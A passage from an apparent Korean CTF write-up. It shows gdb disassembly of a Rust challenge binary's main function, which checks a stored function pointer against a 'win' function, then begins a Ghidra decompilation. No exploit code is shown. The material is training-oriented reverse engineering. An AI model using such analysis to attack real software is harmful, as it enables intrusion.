</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000add2</span> <span class="o">&lt;+</span><span class="mi">578</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0x18</span><span class="p">],</span><span class="n">rax</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000add7</span> <span class="o">&lt;+</span><span class="mi">583</span><span class="o">&gt;:</span>   <span class="n">jmp</span>    <span class="mh">0xadd9</span> <span class="o">&lt;</span><span class="n">_ZN4prob4main17h5c6c2c95bc71f04bE</span><span class="o">+</span><span class="mi">585</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000add9</span> <span class="o">&lt;+</span><span class="mi">585</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">rdx</span><span class="p">,</span><span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0x18</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000adde</span> <span class="o">&lt;+</span><span class="mi">590</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">rsi</span><span class="p">,</span><span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0x20</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ade3</span> <span class="o">&lt;+</span><span class="mi">595</span><span class="o">&gt;:</span>   <span class="n">lea</span>    <span class="n">rdi</span><span class="p">,[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0x118</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000adeb</span> <span class="o">&lt;+</span><span class="mi">603</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">rax</span><span class="p">,</span><span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rip</span><span class="o">+</span><span class="mh">0x5702e</span><span class="p">]</span>        <span class="err">#</span> <span class="mh">0x61e20</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000adf2</span> <span class="o">&lt;+</span><span class="mi">610</span><span class="o">&gt;:</span>   <span class="n">call</span>   <span class="n">rax</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000adf4</span> <span class="o">&lt;+</span><span class="mi">612</span><span class="o">&gt;:</span>   <span class="n">lea</span>    <span class="n">rax</span><span class="p">,[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0x118</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000adfc</span> <span class="o">&lt;+</span><span class="mi">620</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0x1f8</span><span class="p">],</span><span class="n">rax</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ae04</span> <span class="o">&lt;+</span><span class="mi">628</span><span class="o">&gt;:</span>   <span class="n">lea</span>    <span class="n">rax</span><span class="p">,[</span><span class="n">rip</span><span class="o">+</span><span class="mh">0xfffffffffffff195</span><span class="p">]</span>        <span class="err">#</span> <span class="mh">0x9fa0</span> <span class="o">&lt;</span><span class="n">_ZN4core5array69_</span><span class="err">$</span><span class="n">LT</span><span class="err">$</span><span class="n">impl</span><span class="err">$</span><span class="n">u20</span><span class="err">$</span><span class="n">core</span><span class="p">..</span><span class="n">fmt</span><span class="p">..</span><span class="n">Debug</span><span class="err">$</span><span class="n">u20</span><span class="err">$</span><span class="k">for</span><span class="err">$</span><span class="n">u20</span><span class="err">$$</span><span class="n">u5b</span><span class="err">$</span><span class="n">T</span><span class="err">$</span><span class="n">u3b</span><span class="err">$$</span><span class="n">u20</span><span class="err">$</span><span class="n">N</span><span class="err">$</span><span class="n">u5d</span><span class="err">$$</span><span class="n">GT</span><span class="err">$</span><span class="mf">3f</span><span class="n">mt17h991f9fda7cad7759E</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ae0b</span> <span class="o">&lt;+</span><span class="mi">635</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0x200</span><span class="p">],</span><span class="n">rax</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ae13</span> <span class="o">&lt;+</span><span class="mi">643</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">rax</span><span class="p">,</span><span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0x1f8</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ae1b</span> <span class="o">&lt;+</span><span class="mi">651</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0x8</span><span class="p">],</span><span class="n">rax</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ae20</span> <span class="o">&lt;+</span><span class="mi">656</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">rax</span><span class="p">,</span><span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0x200</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ae28</span> <span class="o">&lt;+</span><span class="mi">664</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0x10</span><span class="p">],</span><span class="n">rax</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ae2d</span> <span class="o">&lt;+</span><span class="mi">669</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">rax</span><span class="p">,</span><span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0x10</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ae32</span> <span class="o">&lt;+</span><span class="mi">674</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">rcx</span><span class="p">,</span><span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0x8</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ae37</span> <span class="o">&lt;+</span><span class="mi">679</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0x1a8</span><span class="p">],</span><span class="n">rcx</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ae3f</span> <span class="o">&lt;+</span><span class="mi">687</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0x1b0</span><span class="p">],</span><span class="n">rax</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ae47</span> <span class="o">&lt;+</span><span class="mi">695</span><span class="o">&gt;:</span>   <span class="n">lea</span>    <span class="n">rsi</span><span class="p">,[</span><span class="n">rip</span><span class="o">+</span><span class="mh">0x54292</span><span class="p">]</span>        <span class="err">#</span> <span class="mh">0x5f0e0</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ae4e</span> <span class="o">&lt;+</span><span class="mi">702</span><span class="o">&gt;:</span>   <span class="n">lea</span>    <span class="n">rdi</span><span class="p">,[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0x178</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ae56</span> <span class="o">&lt;+</span><span class="mi">710</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">edx</span><span class="p">,</span><span class="mh">0x2</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ae5b</span> <span class="o">&lt;+</span><span class="mi">715</span><span class="o">&gt;:</span>   <span class="n">lea</span>    <span class="n">rcx</span><span class="p">,[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0x1a8</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ae63</span> <span class="o">&lt;+</span><span class="mi">723</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">r8d</span><span class="p">,</span><span class="mh">0x1</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ae69</span> <span class="o">&lt;+</span><span class="mi">729</span><span class="o">&gt;:</span>   <span class="n">call</span>   <span class="mh">0x96d0</span> <span class="o">&lt;</span><span class="n">_ZN4core3fmt9Arguments6new_v117h9deafe6774c9e956E</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ae6e</span> <span class="o">&lt;+</span><span class="mi">734</span><span class="o">&gt;:</span>   <span class="n">jmp</span>    <span class="mh">0xae70</span> <span class="o">&lt;</span><span class="n">_ZN4prob4main17h5c6c2c95bc71f04bE</span><span class="o">+</span><span class="mi">736</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ae70</span> <span class="o">&lt;+</span><span class="mi">736</span><span class="o">&gt;:</span>   <span class="n">lea</span>    <span class="n">rax</span><span class="p">,[</span><span class="n">rip</span><span class="o">+</span><span class="mh">0x19f09</span><span class="p">]</span>        <span class="err">#</span> <span class="mh">0x24d80</span> <span class="o">&lt;</span><span class="n">_ZN3std2io5stdio6_print17h63a00216c7cec9b0E</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ae77</span> <span class="o">&lt;+</span><span class="mi">743</span><span class="o">&gt;:</span>   <span class="n">lea</span>    <span class="n">rdi</span><span class="p">,[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0x178</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ae7f</span> <span class="o">&lt;+</span><span class="mi">751</span><span class="o">&gt;:</span>   <span class="n">call</span>   <span class="n">rax</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ae81</span> <span class="o">&lt;+</span><span class="mi">753</span><span class="o">&gt;:</span>   <span class="n">jmp</span>    <span class="mh">0xae83</span> <span class="o">&lt;</span><span class="n">_ZN4prob4main17h5c6c2c95bc71f04bE</span><span class="o">+</span><span class="mi">755</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ae83</span> <span class="o">&lt;+</span><span class="mi">755</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">rax</span><span class="p">,</span><span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0x128</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ae8b</span> <span class="o">&lt;+</span><span class="mi">763</span><span class="o">&gt;:</span>   <span class="n">lea</span>    <span class="n">rcx</span><span class="p">,[</span><span class="n">rip</span><span class="o">+</span><span class="mh">0xfffffffffffffb7e</span><span class="p">]</span>        <span class="err">#</span> <span class="mh">0xaa10</span> <span class="o">&lt;</span><span class="n">_ZN4prob3win17h2a8d1a9bcf67a7d9E</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ae92</span> <span class="o">&lt;+</span><span class="mi">770</span><span class="o">&gt;:</span>   <span class="n">cmp</span>    <span class="n">rax</span><span class="p">,</span><span class="n">rcx</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ae95</span> <span class="o">&lt;+</span><span class="mi">773</span><span class="o">&gt;:</span>   <span class="n">jne</span>    <span class="mh">0xaea3</span> <span class="o">&lt;</span><span class="n">_ZN4prob4main17h5c6c2c95bc71f04bE</span><span class="o">+</span><span class="mi">787</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ae97</span> <span class="o">&lt;+</span><span class="mi">775</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">rax</span><span class="p">,</span><span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0x128</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ae9f</span> <span class="o">&lt;+</span><span class="mi">783</span><span class="o">&gt;:</span>   <span class="n">call</span>   <span class="n">rax</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000aea1</span> <span class="o">&lt;+</span><span class="mi">785</span><span class="o">&gt;:</span>   <span class="n">jmp</span>    <span class="mh">0xaebe</span> <span class="o">&lt;</span><span class="n">_ZN4prob4main17h5c6c2c95bc71f04bE</span><span class="o">+</span><span class="mi">814</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000aea3</span> <span class="o">&lt;+</span><span class="mi">787</span><span class="o">&gt;:</span>   <span class="n">lea</span>    <span class="n">rsi</span><span class="p">,[</span><span class="n">rip</span><span class="o">+</span><span class="mh">0x54256</span><span class="p">]</span>        <span class="err">#</span> <span class="mh">0x5f100</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000aeaa</span> <span class="o">&lt;+</span><span class="mi">794</span><span class="o">&gt;:</span>   <span class="n">lea</span>    <span class="n">rdi</span><span class="p">,[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0x1b8</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000aeb2</span> <span class="o">&lt;+</span><span class="mi">802</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">edx</span><span class="p">,</span><span class="mh">0x1</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000aeb7</span> <span class="o">&lt;+</span><span class="mi">807</span><span class="o">&gt;:</span>   <span class="n">call</span>   <span class="mh">0x97d0</span> <span class="o">&lt;</span><span class="n">_ZN4core3fmt9Arguments9new_const17h795ce44452297527E</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000aebc</span> <span class="o">&lt;+</span><span class="mi">812</span><span class="o">&gt;:</span>   <span class="n">jmp</span>    <span class="mh">0xaedb</span> <span class="o">&lt;</span><span class="n">_ZN4prob4main17h5c6c2c95bc71f04bE</span><span class="o">+</span><span class="mi">843</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000aebe</span> <span class="o">&lt;+</span><span class="mi">814</span><span class="o">&gt;:</span>   <span class="n">jmp</span>    <span class="mh">0xaec0</span> <span class="o">&lt;</span><span class="n">_ZN4prob4main17h5c6c2c95bc71f04bE</span><span class="o">+</span><span class="mi">816</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000aec0</span> <span class="o">&lt;+</span><span class="mi">816</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0x90</span><span class="p">],</span><span class="mh">0x0</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000aecc</span> <span class="o">&lt;+</span><span class="mi">828</span><span class="o">&gt;:</span>   <span class="n">lea</span>    <span class="n">rdi</span><span class="p">,[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0xc8</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000aed4</span> <span class="o">&lt;+</span><span class="mi">836</span><span class="o">&gt;:</span>   <span class="n">call</span>   <span class="mh">0x9970</span> <span class="o">&lt;</span><span class="n">_ZN4core3ptr42drop_in_place</span><span class="err">$</span><span class="n">LT</span><span class="err">$</span><span class="n">alloc</span><span class="p">..</span><span class="n">string</span><span class="p">..</span><span class="n">String</span><span class="err">$</span><span class="n">GT</span><span class="err">$</span><span class="mi">17</span><span class="n">hdb4d12f0836ed276E</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000aed9</span> <span class="o">&lt;+</span><span class="mi">841</span><span class="o">&gt;:</span>   <span class="n">jmp</span>    <span class="mh">0xaef0</span> <span class="o">&lt;</span><span class="n">_ZN4prob4main17h5c6c2c95bc71f04bE</span><span class="o">+</span><span class="mi">864</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000aedb</span> <span class="o">&lt;+</span><span class="mi">843</span><span class="o">&gt;:</span>   <span class="n">lea</span>    <span class="n">rax</span><span class="p">,[</span><span class="n">rip</span><span class="o">+</span><span class="mh">0x19e9e</span><span class="p">]</span>        <span class="err">#</span> <span class="mh">0x24d80</span> <span class="o">&lt;</span><span class="n">_ZN3std2io5stdio6_print17h63a00216c7cec9b0E</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000aee2</span> <span class="o">&lt;+</span><span class="mi">850</span><span class="o">&gt;:</span>   <span class="n">lea</span>    <span class="n">rdi</span><span class="p">,[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0x1b8</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000aeea</span> <span class="o">&lt;+</span><span class="mi">858</span><span class="o">&gt;:</span>   <span class="n">call</span>   <span class="n">rax</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000aeec</span> <span class="o">&lt;+</span><span class="mi">860</span><span class="o">&gt;:</span>   <span class="n">jmp</span>    <span class="mh">0xaeee</span> <span class="o">&lt;</span><span class="n">_ZN4prob4main17h5c6c2c95bc71f04bE</span><span class="o">+</span><span class="mi">862</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000aeee</span> <span class="o">&lt;+</span><span class="mi">862</span><span class="o">&gt;:</span>   <span class="n">jmp</span>    <span class="mh">0xaec0</span> <span class="o">&lt;</span><span class="n">_ZN4prob4main17h5c6c2c95bc71f04bE</span><span class="o">+</span><span class="mi">816</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000aef0</span> <span class="o">&lt;+</span><span class="mi">864</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">rax</span><span class="p">,</span><span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0x90</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000aef8</span> <span class="o">&lt;+</span><span class="mi">872</span><span class="o">&gt;:</span>   <span class="n">add</span>    <span class="n">rsp</span><span class="p">,</span><span class="mh">0x208</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000aeff</span> <span class="o">&lt;+</span><span class="mi">879</span><span class="o">&gt;:</span>   <span class="n">ret</span>    
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000af00</span> <span class="o">&lt;+</span><span class="mi">880</span><span class="o">&gt;:</span>   <span class="n">lea</span>    <span class="n">rax</span><span class="p">,[</span><span class="n">rip</span><span class="o">+</span><span class="mh">0x19e79</span><span class="p">]</span>        <span class="err">#</span> <span class="mh">0x24d80</span> <span class="o">&lt;</span><span class="n">_ZN3std2io5stdio6_print17h63a00216c7cec9b0E</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000af07</span> <span class="o">&lt;+</span><span class="mi">887</span><span class="o">&gt;:</span>   <span class="n">lea</span>    <span class="n">rdi</span><span class="p">,[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0x148</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000af0f</span> <span class="o">&lt;+</span><span class="mi">895</span><span class="o">&gt;:</span>   <span class="n">call</span>   <span class="n">rax</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000af11</span> <span class="o">&lt;+</span><span class="mi">897</span><span class="o">&gt;:</span>   <span class="n">jmp</span>    <span class="mh">0xaf13</span> <span class="o">&lt;</span><span class="n">_ZN4prob4main17h5c6c2c95bc71f04bE</span><span class="o">+</span><span class="mi">899</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000af13</span> <span class="o">&lt;+</span><span class="mi">899</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0x90</span><span class="p">],</span><span class="mh">0x0</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000af1f</span> <span class="o">&lt;+</span><span class="mi">911</span><span class="o">&gt;:</span>   <span class="n">lea</span>    <span class="n">rdi</span><span class="p">,[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0xc8</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000af27</span> <span class="o">&lt;+</span><span class="mi">919</span><span class="o">&gt;:</span>   <span class="n">call</span>   <span class="mh">0x9970</span> <span class="o">&lt;</span><span class="n">_ZN4core3ptr42drop_in_place</span><span class="err">$</span><span class="n">LT</span><span class="err">$</span><span class="n">alloc</span><span class="p">..</span><span class="n">string</span><span class="p">..</span><span class="n">String</span><span class="err">$</span><span class="n">GT</span><span class="err">$</span><span class="mi">17</span><span class="n">hdb4d12f0836ed276E</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000af2c</span> <span class="o">&lt;+</span><span class="mi">924</span><span class="o">&gt;:</span>   <span class="n">jmp</span>    <span class="mh">0xaef0</span> <span class="o">&lt;</span><span class="n">_ZN4prob4main17h5c6c2c95bc71f04bE</span><span class="o">+</span><span class="mi">864</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000af2e</span> <span class="o">&lt;+</span><span class="mi">926</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">rax</span><span class="p">,</span><span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0x48</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000af33</span> <span class="o">&lt;+</span><span class="mi">931</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0x90</span><span class="p">],</span><span class="n">rax</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000af3b</span> <span class="o">&lt;+</span><span class="mi">939</span><span class="o">&gt;:</span>   <span class="n">jmp</span>    <span class="mh">0xaf1f</span> <span class="o">&lt;</span><span class="n">_ZN4prob4main17h5c6c2c95bc71f04bE</span><span class="o">+</span><span class="mi">911</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000af3d</span> <span class="o">&lt;+</span><span class="mi">941</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">rax</span><span class="p">,</span><span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0x60</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000af42</span> <span class="o">&lt;+</span><span class="mi">946</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0x90</span><span class="p">],</span><span class="n">rax</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000af4a</span> <span class="o">&lt;+</span><span class="mi">954</span><span class="o">&gt;:</span>   <span class="n">jmp</span>    <span class="mh">0xaf1f</span> <span class="o">&lt;</span><span class="n">_ZN4prob4main17h5c6c2c95bc71f04bE</span><span class="o">+</span><span class="mi">911</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000af4c</span> <span class="o">&lt;+</span><span class="mi">956</span><span class="o">&gt;:</span>   <span class="n">lea</span>    <span class="n">rax</span><span class="p">,[</span><span class="n">rip</span><span class="o">+</span><span class="mh">0xffffffffffffd65d</span><span class="p">]</span>        <span class="err">#</span> <span class="mh">0x85b0</span> <span class="o">&lt;</span><span class="n">_ZN4core9panicking16panic_in_cleanup17hceade526831b1e89E</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000af53</span> <span class="o">&lt;+</span><span class="mi">963</span><span class="o">&gt;:</span>   <span class="n">call</span>   <span class="n">rax</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000af55</span> <span class="o">&lt;+</span><span class="mi">965</span><span class="o">&gt;:</span>   <span class="n">ud2</span>    
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000af57</span> <span class="o">&lt;+</span><span class="mi">967</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">rdi</span><span class="p">,</span><span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0x1e8</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000af5f</span> <span class="o">&lt;+</span><span class="mi">975</span><span class="o">&gt;:</span>   <span class="n">call</span>   <span class="mh">0x6040</span> <span class="o">&lt;</span><span class="n">_Unwind_Resume</span><span class="err">@</span><span class="n">plt</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000af64</span> <span class="o">&lt;+</span><span class="mi">980</span><span class="o">&gt;:</span>   <span class="n">ud2</span>    
</span></span></code></pre></div><p>보면 좀 난해하다. 처음에는 C++인줄 알았는데 러스트 기반 바이너리다. 위 부분을 ghidra 디컴파일을 통해 살펴보면 다음과 같다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c++" data-lang="c++"><span class="line"><span class="cl"><span class="cm">/* prob::main */</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">undefined8</span> <span class="n">prob</span><span class="o">::</span><span class="n">main</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kt">long</span> <span class="n">lVar1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="kt">void</span> <span class="o">*</span><span class="n">__src</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">ulong</span> <span class="n">uVar2</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">size_t</span> <span class="n">__n</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">undefined</span> <span class="n">auVar3</span> <span class="p">[</span><span class="mi">16</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">  <span class="n">undefined8</span> <span class="n">local_178</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">undefined8</span> <span class="n">local_170</span> <span class="p">[</span><span class="mi">6</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">  <span class="kt">void</span> <span class="o">*</span><span class="n">local_140</span> <span class="p">[</span><span class="mi">3</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">  <span class="kt">long</span> <span class="n">local_128</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">undefined8</span> <span class="o">*</span><span class="n">local_120</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="kt">long</span> <span class="n">local_118</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">undefined8</span> <span class="n">local_110</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="kt">long</span> <span class="n">local_108</span> <span class="p">[</span><span class="mi">2</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">  <span class="kt">int</span> <span class="o">*</span><span class="n">local_f8</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">undefined4</span> <span class="n">local_f0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">undefined4</span> <span class="n">uStack_ec</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">undefined4</span> <span class="n">uStack_e8</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">undefined4</span> <span class="n">uStack_e4</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">code</span> <span class="o">*</span><span class="n">local_e0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">undefined</span> <span class="n">local_d8</span> <span class="p">[</span><span class="mi">16</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">  <span class="n">undefined8</span> <span class="n">local_c0</span> <span class="p">[</span><span class="mi">6</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">  <span class="n">undefined8</span> <span class="n">local_90</span> <span class="p">[</span><span class="mi">6</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">  <span class="n">undefined4</span> <span class="o">*</span><span class="n">local_60</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">code</span> <span class="o">*</span><span class="n">local_58</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">undefined8</span> <span class="n">local_50</span> <span class="p">[</span><span class="mi">8</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">  <span class="n">undefined4</span> <span class="o">*</span><span class="n">local_10</span><span class="p">;</span>
